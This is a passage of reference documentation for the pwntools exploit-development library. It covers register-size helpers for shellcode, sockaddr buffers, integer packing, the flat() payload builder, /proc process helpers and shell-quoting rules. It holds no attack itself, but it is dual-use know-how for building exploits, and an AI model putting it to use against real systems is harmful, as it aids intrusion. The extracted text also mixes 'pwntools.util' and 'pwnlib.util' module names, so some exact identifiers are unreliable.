>>> read('/proc/self/exe')[:4]
'\x7fELF'
```

`pwnlib.util.misc.register_sizes(regs, in_sizes)`
Create dictionaries over register sizes and relations

Given a list of lists of overlapping register names (e.g. ['eax', 'ax', 'al', 'ah']) and a list of input sizes, it returns the following:

- `all_regs` : list of all valid registers
- `sizes[reg]` : the size of reg in bits

- bigger[reg] : list of overlapping registers bigger than reg
- smaller[reg]: list of overlapping registers smaller than reg

Used in i386/AMD64 shellcode, e.g. the mov-shellcode.

Example

```
>>> regs = [['eax', 'ax', 'al', 'ah'], ['ebx', 'bx', 'bl', 'bh'],
... ['ecx', 'cx', 'cl', 'ch'],
... ['edx', 'dx', 'dl', 'dh'],
... ['edi', 'di'],
... ['esi', 'si'],
... ['ebp', 'bp'],
... ['esp', 'sp'],
... ]
>>> all_regs, sizes, bigger, smaller = register_sizes(regs, [32, 16, 8, 8])
>>> all_regs
['eax', 'ax', 'al', 'ah', 'ebx', 'bx', 'bl', 'bh', 'ecx', 'cx', 'cl', 'ch', 'edx',
↳ 'dx', 'dl', 'dh', 'edi', 'di', 'esi', 'si', 'ebp', 'bp', 'esp', 'sp']
>>> sizes
{'ch': 8, 'cl': 8, 'ah': 8, 'edi': 32, 'al': 8, 'cx': 16, 'ebp': 32, 'ax': 16,
↳ 'edx': 32, 'ebx': 32, 'esp': 32, 'esi': 32, 'dl': 8, 'dh': 8, 'di': 16, 'bl': 8,
↳ 'bh': 8, 'eax': 32, 'bp': 16, 'dx': 16, 'bx': 16, 'ecx': 32, 'sp': 16, 'si': 16}
>>> bigger
{'ch': ['ecx', 'cx', 'ch'], 'cl': ['ecx', 'cx', 'cl'], 'ah': ['eax', 'ax', 'ah'],
↳ 'edi': ['edi'], 'al': ['eax', 'ax', 'al'], 'cx': ['ecx', 'cx'], 'ebp': ['ebp'],
↳ 'ax': ['eax', 'ax'], 'edx': ['edx'], 'ebx': ['ebx'], 'esp': ['esp'], 'esi': [
↳ 'esi'], 'dl': ['edx', 'dx', 'dl'], 'dh': ['edx', 'dx', 'dh'], 'di': ['edi', 'di
↳'], 'bl': ['ebx', 'bx', 'bl'], 'bh': ['ebx', 'bx', 'bh'], 'eax': ['eax'], 'bp': [
↳ ['ebp', 'bp'], 'dx': ['edx', 'dx'], 'bx': ['ebx', 'bx'], 'ecx': ['ecx'], 'sp': [
↳ 'esp', 'sp'], 'si': ['esi', 'si']}
>>> smaller
{'ch': [], 'cl': [], 'ah': [], 'edi': ['di'], 'al': [], 'cx': ['cl', 'ch'], 'ebp
↳ ': ['bp'], 'ax': ['al', 'ah'], 'edx': ['dx', 'dl', 'dh'], 'ebx': ['bx', 'bl',
↳ 'bh'], 'esp': ['sp'], 'esi': ['si'], 'dl': [], 'dh': [], 'di': [], 'bl': [], 'bh
↳ ': [], 'eax': ['ax', 'al', 'ah'], 'bp': [], 'dx': ['dl', 'dh'], 'bx': ['bl', 'bh
↳ '], 'ecx': ['cx', 'cl', 'ch'], 'sp': [], 'si': []}
```

`pwntools.util.misc.run_in_new_terminal (command, terminal = None) → None`

Run a command in a new terminal.

When terminal is not set:

- If `context.terminal` is set it will be used. If it is an iterable then `context.terminal[1:]` are default arguments.
- If a `pwntools-terminal` command exists in `$PATH`, it is used
- If `$TERM_PROGRAM` is set, that is used.
- If `X11` is detected (by the presence of the `$DISPLAY` environment variable), `x-terminal-emulator` is used.
- If `tmux` is detected (by the presence of the `$TMUX` environment variable), a new pane will be opened.
- If `GNU Screen` is detected (by the presence of the `$STY` environment variable), a new screen will be opened.

Parameters

- **command** (*str*) – The command to run.
- **terminal** (*str*) – Which terminal to use.
- **args** (*list*) – Arguments to pass to the terminal

Note: The command is opened with `/dev/null` for stdin, stdout, stderr.

Returns PID of the new terminal process

`pwntools.util.misc.size` (*n*, *abbrev* = 'B', *si* = *False*) → *str*
 Convert the length of a bytestream to human readable form.

Parameters

- **n** (*int*, *iterable*) – The length to convert to human readable form, or an object which can have `len()` called on it.
- **abbrev** (*str*) – String appended to the size, defaults to 'B'.

Example

```
>>> size(451)
'451B'
>>> size(1000)
'1000B'
>>> size(1024)
'1.00KB'
>>> size(1024, 'bytes')
'1.00K bytes'
>>> size(1024, si = True)
'1.02KB'
>>> [size(1024 ** n) for n in range(7)]
['1B', '1.00KB', '1.00MB', '1.00GB', '1.00TB', '1.00PB', '1024.00PB']
>>> size([])
'0B'
>>> size([1,2,3])
'3B'
```

`pwntools.util.misc.which` (*name*, *flags* = *os.X_OK*, *all* = *False*) → *str* or *str* set
 Works as the system command `which`; searches `$PATH` for *name* and returns a full path if found.

If *all* is `True` the set of all found locations is returned, else the first occurrence or `None` is returned.

Parameters

- **name** (*str*) – The file to search for.
- **all** (*bool*) – Whether to return all locations where *name* was found.

Returns If *all* is `True` the set of all locations where *name* was found, else the first location or `None` if not found.

Example

```
>>> which('sh')
'/bin/sh'
```

`pwnlib.util.misc.write` (*path*, *data*=", *create_dir*=False, *mode*='w')

Create new file or truncate existing to zero length and write data.

2.38 pwnlib.util.net — Networking interfaces

`pwnlib.util.net.getifaddrs` () → dict list

A wrapper for libc's `getifaddrs`.

Parameters None –

Returns list of dictionaries each representing a *struct ifaddrs*. The dictionaries have the fields *name*, *flags*, *family*, *addr* and *netmask*. Refer to *getifaddrs(3)* for details. The fields *addr* and *netmask* are themselves dictionaries. Their structure depend on *family*. If *family* is not `socket.AF_INET` or `socket.AF_INET6` they will be empty.

`pwnlib.util.net.interfaces` (*all* = False) → dict

Parameters

- **all** (*bool*) – Whether to include interfaces with not associated address.
- **Default** – False.

Returns A dictionary mapping each of the hosts interfaces to a list of it's addresses. Each entry in the list is a tuple (*family*, *addr*), and *family* is either `socket.AF_INET` or `socket.AF_INET6`.

`pwnlib.util.net.interfaces4` (*all* = False) → dict

As *interfaces* () but only includes IPv4 addresses and the lists in the dictionary only contains the addresses not the family.

Parameters

- **all** (*bool*) – Whether to include interfaces with not associated address.
- **Default** – False.

Returns A dictionary mapping each of the hosts interfaces to a list of it's IPv4 addresses.

`pwnlib.util.net.interfaces6` (*all* = False) → dict

As *interfaces* () but only includes IPv6 addresses and the lists in the dictionary only contains the addresses not the family.

Parameters

- **all** (*bool*) – Whether to include interfaces with not associated address.
- **Default** – False.

Returns A dictionary mapping each of the hosts interfaces to a list of it's IPv6 addresses.

`pwnlib.util.net.sockaddr` (*host*, *port*, *network* = 'ipv4') -> (*data*, *length*, *family*)

Creates a `sockaddr_in` or `sockaddr_in6` memory buffer for use in shellcode.

Parameters

- **host** (*str*) – Either an IP address or a hostname to be looked up.

- **port** (*int*) – TCP/UDP port.
- **network** (*str*) – Either ‘ipv4’ or ‘ipv6’.

Returns A tuple containing the sockaddr buffer, length, and the address family.

2.39 pwnlib.util.packing — Packing and unpacking of strings

Module for packing and unpacking integers.

Simplifies access to the standard `struct.pack` and `struct.unpack` functions, and also adds support for packing/unpacking arbitrary-width integers.

The packers are all context-aware for `endian` and `signed` arguments, though they can be overridden in the parameters.

Examples

```
>>> p8(0)
'\x00'
>>> p32(0xdeadbeef)
'\xef\xbe\xad\xde'
>>> p32(0xdeadbeef, endian='big')
'\xde\xad\xbe\xef'
>>> with context.local(endian='big'): p32(0xdeadbeef)
'\xde\xad\xbe\xef'
```

Make a frozen packer, which does not change with context.

```
>>> p=make_packer('all')
>>> p(0xff)
'\xff'
>>> p(0x1ff)
'\xff\x01'
>>> with context.local(endian='big'): print repr(p(0x1ff))
'\xff\x01'
```

`pwnlib.util.packing.dd(dst, src, count = 0, skip = 0, seek = 0, truncate = False) → dst`

Inspired by the command line tool `dd`, this function copies `count` byte values from offset `seek` in `src` to offset `skip` in `dst`. If `count` is 0, all of `src[seek:]` is copied.

If `dst` is a mutable type it will be updated. Otherwise a new instance of the same type will be created. In either case the result is returned.

`src` can be an iterable of characters or integers, a unicode string or a file object. If it is an iterable of integers, each integer must be in the range `[0;255]`. If it is a unicode string, its UTF-8 encoding will be used.

The seek offset of file objects will be preserved.

Parameters

- **dst** – Supported types are `:class:file`, `:class:list`, `:class:tuple`, `:class:str`, `:class:bytearray` and `:class:unicode`.
- **src** – An iterable of byte values (characters or integers), a unicode string or a file object.
- **count** (*int*) – How many bytes to copy. If `count` is 0 or larger than `len(src[seek:])`, all bytes until the end of `src` are copied.

- **skip** (*int*) – Offset in *dst* to copy to.
- **seek** (*int*) – Offset in *src* to copy from.
- **truncate** (*bool*) – If *:const:True*, *dst* is truncated at the last copied byte.

Returns A modified version of *dst*. If *dst* is a mutable type it will be modified in-place.

Examples

```
>>> dd(tuple('Hello!'), '?', skip = 5)
('H', 'e', 'l', 'l', 'o', '?')
>>> dd(list('Hello!'), (63,), skip = 5)
['H', 'e', 'l', 'l', 'o', '?']
>>> file('/tmp/foo', 'w').write('A' * 10)
>>> dd(file('/tmp/foo'), file('/dev/zero'), skip = 3, count = 4).read()
'AAA\x00\x00\x00\x00AAA'
>>> file('/tmp/foo', 'w').write('A' * 10)
>>> dd(file('/tmp/foo'), file('/dev/zero'), skip = 3, count = 4, truncate = True).
↪read()
'AAA\x00\x00\x00\x00'
```

`pwnlib.util.packing.fit(*args, **kwargs)`

Legacy alias for `:func:flat`

`pwnlib.util.packing.flat(*a, **kw)`

flat(*args, preprocessor = None, length = None, filler = de_bruijn(), word_size = None, endianness = None, sign = None) -> str

Flattens the arguments into a string.

This function takes an arbitrary number of arbitrarily nested lists, tuples and dictionaries. It will then find every string and number inside those and flatten them out. Strings are inserted directly while numbers are packed using the `pack()` function. Unicode strings are UTF-8 encoded.

Dictionary keys give offsets at which to place the corresponding values (which are recursively flattened). Offsets are relative to where the flattened dictionary occurs in the output (i.e. `{0: 'foo'}` is equivalent to `'foo'`). Offsets can be integers, unicode strings or regular strings. Integer offsets $\geq 2^{*(word_size-8)}$ are converted to a string using `:func:pack`. Unicode strings are UTF-8 encoded. After these conversions offsets are either integers or strings. In the latter case, the offset will be the lowest index at which the string occurs in *filler*. See examples below.

Space between pieces of data is filled out using the iterable *filler*. The *n*'th byte in the output will be byte at `index n % len(iterable)` byte in *filler* if it has finite length or the byte at index *n* otherwise.

If *length* is given, the output will be padded with bytes from *filler* to be this size. If the output is longer than *length*, a `ValueError` exception is raised.

The three kwargs *word_size*, *endianness* and *sign* will default to using values in `pwnlib.context` if not specified as an argument.

Parameters

- **args** – Values to flatten
- **preprocessor** (*function*) – Gets called on every element to optionally transform the element before flattening. If `None` is returned, then the original value is used.
- **length** – The length of the output.
- **filler** – Iterable to use for padding.

- **word_size** (*int*) – Word size of the converted integer.
- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”).
- **sign** (*str*) – Signedness of the converted integer (False/True)

Examples

```
>>> flat(1, "test", [[["AB"]*2]*3], endianness = 'little', word_size = 16, sign = False)
↳False)
'\x01\x00testABABABABABAB'
>>> flat([1, [2, 3]], preprocessor = lambda x: str(x+1))
'234'
>>> flat({12: 0x41414141,
...       24: 'Hello',
...       })
'aaaabaaacaaaaAAAAeaaafaaaHello'
>>> flat({'caa': ''})
'aaaabaaa'
>>> flat({12: 'XXXX'}, filler = 'AB', length = 20)
'ABABABABABABXXXXABAB'
>>> flat({ 8: [0x41414141, 0x42424242],
...       20: 'CCCC'})
'aaaabaaaAAAABBBBeaaaCCCC'
>>> flat({ 0x61616162: 'X'})
'aaaaX'
>>> flat({4: {0: 'X', 4: 'Y'}})
'aaaaXaaaY'
```

`pwntools.util.packing.make_packer` (*word_size* = *None*, *endianness* = *None*, *sign* = *None*) → number → str
 Creates a packer by “freezing” the given arguments.

Semantically calling `make_packer(w, e, s)` (*data*) is equivalent to calling `pack(data, w, e, s)`. If *word_size* is one of 8, 16, 32 or 64, it is however faster to call this function, since it will then use a specialized version.

Parameters

- **word_size** (*int*) – The word size to be baked into the returned packer or the string all (in bits).
- **endianness** (*str*) – The endianness to be baked into the returned packer. (“little”/“big”)
- **sign** (*str*) – The signness to be baked into the returned packer. (“unsigned”/“signed”)
- **kwargs** – Additional context flags, for setting by alias (e.g. `endian=` rather than `index`)

Returns A function, which takes a single argument in the form of a number and returns a string of that number in a packed form.

Examples

```
>>> p = make_packer(32, endian='little', sign='unsigned')
>>> p
<function _p32lu at 0x...>
>>> p(42)
```

(continues on next page)

(continued from previous page)

```
'*\x00\x00\x00'
>>> p(-1)
Traceback (most recent call last):
...
error: integer out of range for 'I' format code
>>> make_packer(33, endian='little', sign='unsigned')
<function <lambda> at 0x...>
```

`pwnlib.util.packing.make_unpacker` (*word_size* = *None*, *endianness* = *None*, *sign* = *None*, ***kwargs*) → str → number

Creates a unpacker by “freezing” the given arguments.

Semantically calling `make_unpacker(w, e, s)` (*data*) is equivalent to calling `unpack(data, w, e, s)`. If *word_size* is one of 8, 16, 32 or 64, it is however faster to call this function, since it will then use a specialized version.

Parameters

- **word_size** (*int*) – The word size to be baked into the returned packer (in bits).
- **endianness** (*str*) – The endianness to be baked into the returned packer. (“little”/”big”)
- **sign** (*str*) – The signness to be baked into the returned packer. (“unsigned”/”signed”)
- **kwargs** – Additional context flags, for setting by alias (e.g. `endian=` rather than `index`)

Returns A function, which takes a single argument in the form of a string and returns a number of that string in an unpacked form.

Examples

```
>>> u = make_unpacker(32, endian='little', sign='unsigned')
>>> u
<function _u32lu at 0x...>
>>> hex(u('/bin'))
'0x6e69622f'
>>> u('abcde')
Traceback (most recent call last):
...
error: unpack requires a string argument of length 4
>>> make_unpacker(33, endian='little', sign='unsigned')
<function <lambda> at 0x...>
```

`pwnlib.util.packing.p16` (*number*, *sign*, *endian*, ...) → str
Packs an 16-bit integer

Parameters

- **number** (*int*) – Number to convert
- **endianness** (*str*) – Endianness of the converted integer (“little”/”big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/”signed”)
- **kwargs** (*dict*) – Arguments passed to `context.local()`, such as `endian` or `signed`.

Returns The packed number as a string

`pwnlib.util.packing.p32` (*number*, *sign*, *endian*, ...) → str
Packs an 32-bit integer

Parameters

- **number** (*int*) – Number to convert
- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/“signed”)
- **kwargs** (*dict*) – Arguments passed to context.local(), such as endian or signed.

Returns The packed number as a string

`pwnlib.util.packing.p64` (*number, sign, endian, ...*) → str
Packs an 64-bit integer

Parameters

- **number** (*int*) – Number to convert
- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/“signed”)
- **kwargs** (*dict*) – Arguments passed to context.local(), such as endian or signed.

Returns The packed number as a string

`pwnlib.util.packing.p8` (*number, sign, endian, ...*) → str
Packs an 8-bit integer

Parameters

- **number** (*int*) – Number to convert
- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/“signed”)
- **kwargs** (*dict*) – Arguments passed to context.local(), such as endian or signed.

Returns The packed number as a string

`pwnlib.util.packing.pack` (*number, word_size = None, endianness = None, sign = None, **kwargs*)
→ str
Packs arbitrary-sized integer.

Word-size, endianness and signedness is done according to context.

word_size can be any positive number or the string “all”. Choosing the string “all” will output a string long enough to contain all the significant bits and thus be decodable by `unpack()`.

word_size can be any positive number. The output will contain `word_size/8` rounded up number of bytes. If *word_size* is not a multiple of 8, it will be padded with zeroes up to a byte boundary.

Parameters

- **number** (*int*) – Number to convert
- **word_size** (*int*) – Word size of the converted integer or the string ‘all’ (in bits).
- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”)
- **sign** (*str*) – Signedness of the converted integer (False/True)
- **kwargs** – Anything that can be passed to context.local

Returns The packed number as a string.

Examples

```
>>> pack(0x414243, 24, 'big', True)
'ABC'
>>> pack(0x414243, 24, 'little', True)
'CBA'
>>> pack(0x814243, 24, 'big', False)
'\x81BC'
>>> pack(0x814243, 24, 'big', True)
Traceback (most recent call last):
...
ValueError: pack(): number does not fit within word_size
>>> pack(0x814243, 25, 'big', True)
'\x00\x81BC'
>>> pack(-1, 'all', 'little', True)
'\xff'
>>> pack(-256, 'all', 'big', True)
'\xff\x00'
>>> pack(0x0102030405, 'all', 'little', True)
'\x05\x04\x03\x02\x01'
>>> pack(-1)
'\xff\xff\xff\xff'
>>> pack(0x80000000, 'all', 'big', True)
'\x00\x80\x00\x00\x00'
```

`pwntools.util.packing.routine(*a, **kw)`
`u32(number, sign, endian, ...) -> int`

Unpacks an 32-bit integer

Parameters

- **data** (*str*) – String to convert
- **endianness** (*str*) – Endianness of the converted integer (“little”/”big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/”signed”)
- **kwargs** (*dict*) – Arguments passed to `context.local()`, such as `endian` or `signed`.

Returns The unpacked number

`pwntools.util.packing.u16(number, sign, endian, ...) -> int`
 Unpacks an 16-bit integer

Parameters

- **data** (*str*) – String to convert
- **endianness** (*str*) – Endianness of the converted integer (“little”/”big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/”signed”)
- **kwargs** (*dict*) – Arguments passed to `context.local()`, such as `endian` or `signed`.

Returns The unpacked number

`pwntools.util.packing.u32(number, sign, endian, ...) -> int`
 Unpacks an 32-bit integer

Parameters

- **data** (*str*) – String to convert

- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/“signed”)
- **kwargs** (*dict*) – Arguments passed to context.local(), such as endian or signed.

Returns The unpacked number

`pwnlib.util.packing.u64` (*number, sign, endian, ...*) → int
Unpacks an 64-bit integer

Parameters

- **data** (*str*) – String to convert
- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/“signed”)
- **kwargs** (*dict*) – Arguments passed to context.local(), such as endian or signed.

Returns The unpacked number

`pwnlib.util.packing.u8` (*number, sign, endian, ...*) → int
Unpacks an 8-bit integer

Parameters

- **data** (*str*) – String to convert
- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/“signed”)
- **kwargs** (*dict*) – Arguments passed to context.local(), such as endian or signed.

Returns The unpacked number

`pwnlib.util.packing.unpack` (*data, word_size = None, endianness = None, sign = None, **kwargs*)
→ int

Packs arbitrary-sized integer.

Word-size, endianness and signedness is done according to context.

word_size can be any positive number or the string “all”. Choosing the string “all” is equivalent to `len(data)*8`.

If *word_size* is not a multiple of 8, then the bits used for padding are discarded.

Parameters

- **number** (*int*) – String to convert
- **word_size** (*int*) – Word size of the converted integer or the string “all” (in bits).
- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”)
- **sign** (*str*) – Signedness of the converted integer (False/True)
- **kwargs** – Anything that can be passed to context.local

Returns The unpacked number.

Examples

```
>>> hex(unpack('\xaa\x55', 16, endian='little', sign=False))
'0x55aa'
>>> hex(unpack('\xaa\x55', 16, endian='big', sign=False))
'0xaa55'
>>> hex(unpack('\xaa\x55', 16, endian='big', sign=True))
'-0x55ab'
>>> hex(unpack('\xaa\x55', 15, endian='big', sign=True))
'0x2a55'
>>> hex(unpack('\xff\x02\x03', 'all', endian='little', sign=True))
'0x302ff'
>>> hex(unpack('\xff\x02\x03', 'all', endian='big', sign=True))
'-0xfdfd'
```

`pwnlib.util.packing.unpack_many(*a, **kw)`
`unpack(data, word_size = None, endianness = None, sign = None) -> int list`

Splits *data* into groups of `word_size//8` bytes and calls `unpack()` on each group. Returns a list of the results.

word_size must be a multiple of 8 or the string “all”. In the latter case a singleton list will always be returned.

Args `number (int)`: String to convert `word_size (int)`: Word size of the converted integers or the string “all” (in bits). `endianness (str)`: Endianness of the converted integer (“little”/“big”) `sign (str)`: Signedness of the converted integer (False/True) `kwargs`: Anything that can be passed to `context.local`

Returns The unpacked numbers.

Examples

```
>>> map(hex, unpack_many('\xaa\x55\xcc\x33', 16, endian='little', sign=False))
['0x55aa', '0x33cc']
>>> map(hex, unpack_many('\xaa\x55\xcc\x33', 16, endian='big', sign=False))
['0xaa55', '0xcc33']
>>> map(hex, unpack_many('\xaa\x55\xcc\x33', 16, endian='big', sign=True))
['-0x55ab', '-0x33cd']
>>> map(hex, unpack_many('\xff\x02\x03', 'all', endian='little', sign=True))
['0x302ff']
>>> map(hex, unpack_many('\xff\x02\x03', 'all', endian='big', sign=True))
['-0xfdfd']
```

2.40 pwnlib.util.proc — Working with /proc/

`pwnlib.util.proc.ancestors(pid) -> int list`

Parameters `pid (int)` – PID of the process.

Returns List of PIDs of whose parent process is *pid* or an ancestor of *pid*.

`pwnlib.util.proc.children(ppid) -> int list`

Parameters `pid (int)` – PID of the process.

Returns List of PIDs of whose parent process is *pid*.

`pwnlib.util.proc.cmdline(pid) -> str list`

Parameters `pid (int)` – PID of the process.

Returns A list of the fields in `/proc/<pid>/cmdline`.

`pwntools.util.proc.cwd(pid) → str`

Parameters `pid(int)` – PID of the process.

Returns The path of the process's current working directory. I.e. what `/proc/<pid>/cwd` points to.

`pwntools.util.proc.descendants(pid) → dict`

Parameters `pid(int)` – PID of the process.

Returns Dictionary mapping the PID of each child of `pid` to its descendants.

`pwntools.util.proc.exe(pid) → str`

Parameters `pid(int)` – PID of the process.

Returns The path of the binary of the process. I.e. what `/proc/<pid>/exe` points to.

`pwntools.util.proc.name(pid) → str`

Parameters `pid(int)` – PID of the process.

Returns Name of process as listed in `/proc/<pid>/status`.

Example

```
>>> pid = pidof('init')[0]
>>> name(pid) == 'init'
True
```

`pwntools.util.proc.parent(pid) → int`

Parameters `pid(int)` – PID of the process.

Returns Parent PID as listed in `/proc/<pid>/status` under `PPid`, or 0 if there is not parent.

`pwntools.util.proc.pid_by_name(name) → int list`

Parameters `name(str)` – Name of program.

Returns List of PIDs matching `name` sorted by lifetime, youngest to oldest.

Example

```
>>> os.getpid() in pid_by_name(name(os.getpid()))
True
```

`pwntools.util.proc.pidof(target) → int list`

Get PID(s) of `target`. The returned PID(s) depends on the type of `target`:

- `str`: PIDs of all processes with a name matching `target`.
- `pwntools.tubes.process.process`: singleton list of the PID of `target`.
- `pwntools.tubes.sock.sock`: singleton list of the PID at the remote end of `target` if it is running on the host. Otherwise an empty list.

Parameters `target(object)` – The target whose PID(s) to find.

Returns A list of found PIDs.

`pwntools.util.proc.starttime(pid)` → float

Parameters `pid(int)` – PID of the process.

Returns The time (in seconds) the process started after system boot

`pwntools.util.proc.stat(pid)` → str list

Parameters `pid(int)` – PID of the process.

Returns A list of the values in `/proc/<pid>/stat`, with the exception that `(and)` has been removed from around the process name.

`pwntools.util.proc.state(pid)` → str

Parameters `pid(int)` – PID of the process.

Returns State of the process as listed in `/proc/<pid>/status`. See `proc(5)` for details.

Example

```
>>> state(os.getpid())
'R (running)'
```

`pwntools.util.proc.status(pid)` → dict

Get the status of a process.

Parameters `pid(int)` – PID of the process.

Returns The contents of `/proc/<pid>/status` as a dictionary.

`pwntools.util.proc.tracer(pid)` → int

Parameters `pid(int)` – PID of the process.

Returns PID of the process tracing `pid`, or `None` if no `pid` is not being traced.

Example

```
>>> tracer(os.getpid()) is None
True
```

`pwntools.util.proc.wait_for_debugger(pid)` → None

Sleeps until the process with PID `pid` is being traced.

Parameters `pid(int)` – PID of the process.

Returns None

2.41 pwntools.util.safeeval — Safe evaluation of python code

`pwntools.util.safeeval.const(expression)` → value

Safe Python constant evaluation

Evaluates a string that contains an expression describing a Python constant. Strings that are not valid Python expressions or that contain other code besides the constant raise `ValueError`.

Examples

```
>>> const("10")
10
>>> const("[1,2, (3,4), {'foo':'bar'}]")
[1, 2, (3, 4), {'foo': 'bar'}]
>>> const("[1]+[2]")
Traceback (most recent call last):
...
ValueError: opcode BINARY_ADD not allowed
```

`pwnlib.util.safeeval.expr(expression)` → value
Safe Python expression evaluation

Evaluates a string that contains an expression that only uses Python constants. This can be used to e.g. evaluate a numerical expression from an untrusted source.

Examples

```
>>> expr("1+2")
3
>>> expr("[1,2]*2")
[1, 2, 1, 2]
>>> expr("__import__('sys').modules")
Traceback (most recent call last):
...
ValueError: opcode LOAD_NAME not allowed
```

`pwnlib.util.safeeval.test_expr(expr, allowed_codes)` → codeobj

Test that the expression contains only the listed opcodes. If the expression is valid and contains only allowed codes, return the compiled code object. Otherwise raise a ValueError

`pwnlib.util.safeeval.values(expression, dict)` → value

Safe Python expression evaluation

Evaluates a string that contains an expression that only uses Python constants and values from a supplied dictionary. This can be used to e.g. evaluate e.g. an argument to a syscall.

Note: This is potentially unsafe if e.g. the `__add__` method has side effects.

Examples

```
>>> values("A + 4", {'A': 6})
10
>>> class Foo:
...     def __add__(self, other):
...         print "Firing the missiles"
>>> values("A + 1", {'A': Foo()})
Firing the missiles
>>> values("A.x", {'A': Foo()})
Traceback (most recent call last):
...
ValueError: opcode LOAD_ATTR not allowed
```

2.42 pwnlib.util.sh_string — Shell Expansion is Hard

Routines here are for getting any NULL-terminated sequence of bytes evaluated intact by any shell. This includes all variants of quotes, whitespace, and non-printable characters.

2.42.1 Supported Shells

The following shells have been evaluated:

- Ubuntu (dash/sh)
- MacOS (GNU Bash)
- Zsh
- FreeBSD (sh)
- OpenBSD (sh)
- NetBSD (sh)

Debian Almquist shell (Dash)

Ubuntu 14.04 and 16.04 use the Dash shell, and `/bin/sh` is actually just a symlink to `/bin/dash`. The feature set supported when invoked as “sh” instead of “dash” is different, and we focus exclusively on the “`/bin/sh`” implementation.

From the [Ubuntu Man Pages](#), every character except for single-quote can be wrapped in single-quotes, and a backslash can be used to escape unquoted single-quotes.

Quoting

Quoting is used to remove the special meaning of certain characters or words to the shell, such as operators, whitespace, or keywords. There are three types of quoting: matched single quotes, matched double quotes, and backslash.

Backslash

A backslash preserves the literal meaning of the following character, with the exception of newline. A backslash preceding a newline is treated as a line continuation.

Single Quotes

Enclosing characters in single quotes preserves the literal meaning of all the characters (except single quotes, making it impossible to put single-quotes in a single-quoted string).

Double Quotes

Enclosing characters within double quotes preserves the literal meaning of all characters except dollarsign (`$`), backquote (```), and backslash (`\`). The backslash inside double quotes is historically weird, and serves to quote only the following characters:

```
$ ` " \ <newline>.
```

Otherwise it remains literal.

GNU Bash

The Bash shell is default on many systems, though it is not generally the default system-wide shell (i.e., the *system* syscall does not generally invoke it).

That said, its prevalence suggests that it also be addressed.

From the [GNU Bash Manual](#), every character except for single-quote can be wrapped in single-quotes, and a backslash can be used to escape unquoted single-quotes.

3.1.2.1 Escape Character

A non-quoted backslash `\` is the Bash escape character. It preserves the literal value of the next character that follows, with the exception of newline. If a `\\` pair appears, and the backslash itself is not quoted, the `\\` is treated as a line continuation (that is, it is removed from the input stream and effectively ignored).

3.1.2.2 Single Quotes

Enclosing characters in single quotes (`'`) preserves the literal value of each character within the quotes. A single quote may not occur between single quotes, even when preceded by a backslash.

3.1.2.3 Double Quotes

Enclosing characters in double quotes (`"`) preserves the literal value of all characters within the quotes, with the exception of `$`, ```, `\`, and, when history expansion is enabled, `!`. The characters `$` and ``` retain their special meaning within double quotes (see Shell Expansions). The backslash retains its special meaning only when followed by one of the following characters: `$`, ```, `"`, `\`, or newline. Within double quotes, backslashes that are followed by one of these characters are removed. Backslashes preceding characters without a special meaning are left unmodified. A double quote may be quoted within double quotes by preceding it with a backslash. If enabled, history expansion will be performed unless an `!` appearing in double quotes is escaped using a backslash. The backslash preceding the `!` is not removed.

The special parameters `*' and '@' have special meaning when in double quotes (see Shell Parameter Expansion).`

Z Shell

The Z shell is also a relatively common user shell, even though it's not generally the default system-wide shell.

From the [Z Shell Manual](#), every character except for single-quote can be wrapped in single-quotes, and a backslash can be used to escape unquoted single-quotes.

A character may be quoted (that is, made to stand for itself) by preceding it with a `\`. `\\` followed by a newline is ignored.

A string enclosed between `$'` and `'` is processed the same way as the string arguments of the `print` builtin, and the resulting string is considered to be entirely quoted. A literal `'` character can be included in the string by using the `\"` escape.

All characters enclosed between a pair of single quotes (`'`) that is not

(continues on next page)

(continued from previous page)

preceded by a '\$' are quoted. A single quote cannot appear within single quotes unless the option RC_QUOTES is set, in which case a pair of single quotes are turned into a single quote. For example,

```
print '''
outputs nothing apart from a newline if RC_QUOTES is not set, but one single
quote if it is set.
```

Inside double quotes (""), parameter and command substitution occur, and \' quotes the characters '\\', `', `', and '\$'.

FreeBSD Shell

Compatibility with the FreeBSD shell is included for completeness.

From the [FreeBSD man pages](#), every character except for single-quote can be wrapped in single-quotes, and a backslash can be used to escape unquoted single-quotes.

Quoting is used to remove the special meaning of certain characters or words to the shell, such as operators, whitespace, keywords, or alias names.

There are four types of quoting: matched single quotes, dollar-single quotes, matched double quotes, and backslash.

Single Quotes

Enclosing characters in single quotes preserves the literal meaning of all the characters (except single quotes, making it impossible to put single-quotes in a single-quoted string).

Dollar-Single Quotes

Enclosing characters between '\$' and ' preserves the literal meaning of all characters except backslashes and single quotes. A backslash introduces a C-style escape sequence:

...

Double Quotes

Enclosing characters within double quotes preserves the literal meaning of all characters except dollar sign ('\$'), backquote (`'), and backslash (`\'). The backslash inside double quotes is historically weird. It remains literal unless it precedes the following characters, which it serves to quote:

```
$      `      "      \      \n
```

Backslash

A backslash preserves the literal meaning of the following character, with the exception of the newline character (`\n'). A backslash preceding a newline is treated as a line continuation.

OpenBSD Shell

From the [OpenBSD Man Pages](#), every character except for single-quote can be wrapped in single-quotes, and a backslash can be used to escape unquoted single-quotes.

A backslash (\) can be used to quote any character except a newline. If a newline follows a backslash the shell removes them both, effectively making the following line part of the current one.

A group of characters can be enclosed within single quotes (') to quote every character within the quotes.

A group of characters can be enclosed within double quotes (") to quote every character within the quotes except a backquote (`) or a dollar sign (\$), both of which retain their special meaning. A backslash (\) within double quotes retains its special meaning, but only when followed by a backquote, dollar sign, double quote, or another backslash.

An at sign (@) within double quotes has a special meaning (see SPECIAL PARAMETERS, below).

NetBSD Shell

The NetBSD shell's documentation is identical to the Dash documentation.

Android Shells

